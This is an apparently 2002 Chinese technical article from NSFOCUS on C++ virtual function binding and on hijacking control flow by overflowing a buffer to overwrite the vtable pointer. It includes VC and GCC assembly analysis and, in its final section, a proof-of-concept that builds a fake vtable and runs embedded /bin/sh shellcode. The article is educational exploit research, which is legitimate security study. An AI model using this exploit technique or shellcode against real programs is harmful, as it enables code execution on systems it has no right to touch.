◆ C++中通过溢出覆盖虚函数指针列表执行代码 作者：watercloud 主页：http://www.nsfocus.com 日期：2002-4-15 目录: 1. C++中虚函数的静态联编和动态联编 2. VC中对象的空间组织和溢出试验 3. GCC中对象的空间组织和溢出试验 4. 参考 <一> C++中虚函数的静态联编和动态联编 C++中的一大法宝就是虚函数，简单来说就是加virtual关键字定义的函数。 其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的 使用，一个典型的例子就是虚函数是MFC的基石之一。 这里有两个概念需要先解释: 静态联编:通俗点来讲就是程序编译时确定调用目标的地址。 动态联编:程序运行阶段确定调用目标的地址。 在C++中通常的函数调用都是静态联编，但如果定义函数时加了virtual关键 字，并且在调用函数时是通过指针或引用调用，那么此时就是采用动态联编。 一个简单例子: // test.cpp #include class ClassA { public: int num1; ClassA(){ num1=0xffff; }; virtual void test1(void){}; virtual void test2(void){}; }; ClassA objA,* pobjA; int main(void) { pobjA=&objA; objA.test1(); objA.test2(); pobjA->test1(); pobjA->test2(); return 0; } 使用VC编译： 开一个命令行直接在命令行调用cl来编译: (如果你安装vc时没有选择注册环境 变量，那么先在命令行运行VC目录下bin\VCVARS32.BAT ) cl test.cpp /Fa 产生test.asm中间汇编代码 接下来就看看asm里有什么玄虚，分析起来有点长，要有耐心 ! 我们来看看: 数据定义: _BSS SEGMENT ?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位 ?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一个地址32位 _BSS ENDS 看到objA为64位，里边存放了哪些内容呢? 接着看看构造函数: _this$ = -4 ??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?! ; File test.cpp ; Line 6 push ebp mov ebp, esp push ecx mov DWORD PTR _this$[ebp], ecx ; ecx 赋值给 _this ?? 不明白?? mov eax, DWORD PTR _this$[ebp] mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@ ; ClassA::`vftable' ; 前面的部分都是编译器加的东东，我们的赋值在这里 mov ecx, DWORD PTR _this$[ebp] mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff; ; 看来 _this+4就是num1的地址 mov eax, DWORD PTR _this$[ebp] mov esp, ebp pop ebp ret 0 ??0ClassA@@QAE@XZ ENDP 那个_this和mov DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧，不急看看何 处调用的构造函数: _$E9 PROC NEAR ; File test.cpp ; Line 10 push ebp mov ebp, esp mov ecx, OFFSET FLAT:?objA@@3VClassA@@A call ??0ClassA@@QAE@XZ ;call ClassA::ClassA() pop ebp ret 0 _$E9 ENDP 看，ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址，其实CLASS中 的非静态方法编译器编译时都会自动添加一个this变量，并且在函数开始处把ecx 赋值给他,指向调用该方法的对象的地址 。 那么构造函数里的这两行又是干什么呢? mov eax, DWORD PTR _this$[ebp] mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@ ; ClassA::`vftable' 我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA 接着就相当于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@ 来看看 ??_7ClassA@@6B@ 是哪个道上混的: CONST SEGMENT ??_7ClassA@@6B@ DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable' DD FLAT:?test2@ClassA@@UAEXXZ CONST ENDS 看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值: mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@ ; ClassA::`vftable' 就是在对象的起始地址填入这么一个地址列表的地址。 好了，至此我们已经看到了objA的构造了: | 低地址 | +--------+ ---> objA的起始地址 &objA |pvftable| +--------+-------------------------+ | num1 | num1变量的空间 | +--------+ ---> objA的结束地址 +--->+--------------+ 地址表 vftable | 高地址 | |test1()的地址 | +--------------+ |test2()的地址 | +--------------+ 来看看main函数: _main PROC NEAR ; Line 13 push ebp mov ebp, esp ; Line 14 mov DWORD PTR ?pobjA@@3PAVClassA@@A, OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA ; Line 15 mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指针 ; 指向调用者的地址 call ?test1@ClassA@@UAEXXZ ; objA.test1() ; objA.test1()直接调用，已经确定了地址 ; Line 16 mov ecx, OFFSET FLAT:?objA@@3VClassA@@A call ?test2@ClassA@@UAEXXZ ; objA.test2() ; Line 17 mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA mov edx, DWORD PTR [eax] ; edx = vftable mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA call DWORD PTR [edx] ; ; call vftable[0] 即 pobjA->test1() 看地址是动态查找的 ; ) ; Line 18 mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA mov edx, DWORD PTR [eax] mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA call DWORD PTR [edx+4] ; pobjA->test2() ; call vftable[1] 而vftable[1]里存放的是test2()的入口地址 ; Line 19 xor eax, eax ; Line 20 pop ebp ret 0 _main ENDP 好了，相信到这里你已经对动态联编有了深刻印象。 <二> VC中对象的空间组织和溢出试验 通过上面的分析我们可以对对象空间组织概括如下: | 低地址 | +----------+ ---> objA的起始地址 &objA |pvftable |--------------------->+ +----------+ | |各成员变量| | +----------+ ---> objA的结束地址 +---> +--------------+ 地址表 vftable | 高地址 | |虚函数1的地址 | +--------------+ |虚函数2的地址 | +--------------+ | . . . . . . | 可以看出如果我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得 我们能改变程序流程! 现在来作一个溢出试验: 先写个程序来看看 #include class ClassEx { }; int buff[1]; ClassEx obj1,obj2,* pobj; int main(void) { cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj < class ClassEx { public: int buff[1]; virtual void test(void){ cout << "ClassEx::test()" << endl;}; }; void entry(void) { cout << "Why a u here ?!" << endl; }; ClassEx obj1,obj2,* pobj; int main(void) { pobj=&obj2; obj2.test(); int vtab[1] = { (int) entry };//构造vtab， //entry的入口地址 obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域 //这里修改了函数指针列表的地址到vtab pobj->test(); return 0; } 编译 cl ex_vc.cpp 运行结果: ClassEx::test() Why a u here ?! 测试环境: VC6 看我们修改了程序执行流程 ^_^ 平时我们编程时可能用virtaul不多，但如果我们使用BC/VC等，且使用了厂商提供的 库，其实我们已经大量使用了虚函数 ,以后写程序可要小心了，一个不留神的变量 赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的，里边会不会 .... <三> GCC中对象的空间组织和溢出试验 刚才我们已经分析完vc下的许多细节了，那么我们接下来看看gcc里有没有什么不 一样!分析方法一样，就是写个test.cpp用gcc -S test.cpp 来编译得到汇编文件 test.s 然后分析test.s我们就能得到许多细节上的东西。 通过分析我们可以看到: gcc中对象地址空间结构如下: | 低地址 | +---------------+ 对象的开始地址 | | | 成员变量空间 | | | +---------------+ | pvftable |----------->+------------------+ vftable +---------------+ | 0 | | 高地址 | +------------------+ | XXXXXXXX | +------------------+ | 0 | +----------------- + | 虚函数1入口地址 | +------------------+ | 0 | +----------------- + | 虚函数2入口地址 | +------------------+ | . . . . . . | 哈哈，可以看到gcc下有个非常大的优势，就是成员变量在pvftable 前面，要是溢出成员变量赋值就能覆盖pvftable，比vc下方便多了! 来写个溢出测试程序: //test.cpp #include class ClassTest { public: long buff[1]; //大小为1 virtual void test(void) { cout << "ClassTest test()" << endl; } }; void entry(void) { cout << "Why are u here ?!" << endl; } int main(void) { ClassTest a,*p =&a; long addr[] = {0,0,0,(long)entry}; //构建的虚函数表 //test() -> entry() a.buff[1] = ( long ) addr;// 溢出，操作了虚函数列表指针 a.test(); //静态联编的，不会有事 p->test(); //动态联编的，到我们的函数表去找地址， // 结果就变成了调用函数 entry() } 编译: gcc test.cpp -lstdc++ 执行结果: bash-2.05# ./a.out ClassTest test() Why are u here ?! 测试程序说明: 具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段: .section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits .p2align 2 .type _vt$9ClassTest,@object .size _vt$9ClassTest,24 _vt$9ClassTest: .value 0 .value 0 .long __tf9ClassTest .value 0 .value 0 .long test__9ClassTest ----------+ .zero 8 | .comm __ti9ClassTest,8,4 | | | test()的地址 <----+ 这就是其虚函数列表里的内容了。 test()地址在第3个(long)型地址空间 所以我们构造addr[]时: long addr[] = {0,0,0,(long)entry}; 就覆盖了test()函数的地址 为 entry()的地址 p->test() 时就跑到我们构建的地址表里取了entry的地址去运行了 测试环境 FreeBSD 4.4 gcc 2.95.3 来一个真实一点的测试: 通过溢出覆盖pvftable，时期指向一个我们自己构造的 vftable,并且让vftable的虚函数地址指向我们的一段shellcode 从而得到一个shell。 #include #include class ClassBase //定义一个基础类 { public: char buff[128]; void setBuffer(char * s) { strcpy(buff,s); }; virtual void printBuffer(void){}; //虚函数 }; class ClassA :public ClassBase { public: void printBuffer(void) { cout << "Name :" << buff << endl; }; }; class ClassB : public ClassBase { public: void printBuffer(void) { cout << "The text : " << buff << endl; }; }; char buffer[512],*pc; long * pl = (long *) buffer; long addr = 0xbfbffabc; // 在我的机器上就是 &b ^_* char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80"; int i; int main(void) { ClassA a; ClassB b; ClassBase * classBuff[2] = { &a,&b }; a.setBuffer("Tom"); b.setBuffer("Hello ! This is world of c++ ."); for(i=0;i<2;i++) //C++中的惯用手法， //一个基础类的指针指向上层类对象时调 //用的为高层类的虚函数 classBuff[i]->printBuffer(); // 这里是正常用法 cout << &a << " : " << &b << endl; // &b就是上面addr的值， //如果你的机器上两个值不同就改一改addr值吧! //构造一个特殊的buff呆会给b.setBuffer // 在开始处构造一个vftable pl[0]=0xAAAAAAAA; //填充1 pl[1]=0xAAAAAAAA; //填充2 pl[2]=0xAAAAAAAA; //填充3 pl[3]=addr+16; //虚函数printBuffer入口地址 // 的位置指向shell代码处了 pc = buffer+16; strcpy(pc,shellcode); pc+=strlen(shellcode); for(;pc - buffer < 128 ; *pc++='A'); //填充 pl=(long *) pc; *pl= addr; //覆盖pvftable使其指向我们构造的列表 b.setBuffer(buffer); //溢出了吧 . // 再来一次 for(i=0;i<2;i++) classBuff[i]->printBuffer(); // classBuffer[1].printBuffer // 时一个shell就出来了 return 0; } bash-2.05$ ./a.out Name :Tom The text : Hello ! This is world of c++ . 0xbfbffb44 : 0xbfbffabc Name : $ <------ 呵呵，成功了 说明: addr = &b 也就是 &b.buff[0] b.setBuffer(buffer) 就是让 b.buff溢出，覆盖128+4+1个地址。 此时内存中的构造如下: &b.buff[0] 也是 &b ^ | | [填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0] ____ ^ ___ | | | | | | | +---+ | | | | | +---------------> 128 <--------------+ | | 此处即pvftable项 ,被溢出覆盖为 addr <---+ 现在b.buff[0]的开始处就构建了一个我们自己的虚 函数表，虚函数的入口地址为shellcode的地址 ! 本文只是一个引导性文字，还有许多没 有提到的细节，需要自己去分析。 俗话说自己动手丰衣足食 *_& <四> 参考 Phrack56# << SMASHING C++ VPTRS >> 个人愚见，望斧正! __watercloud__ (watercloud@nsfocus.com) 2002-4-15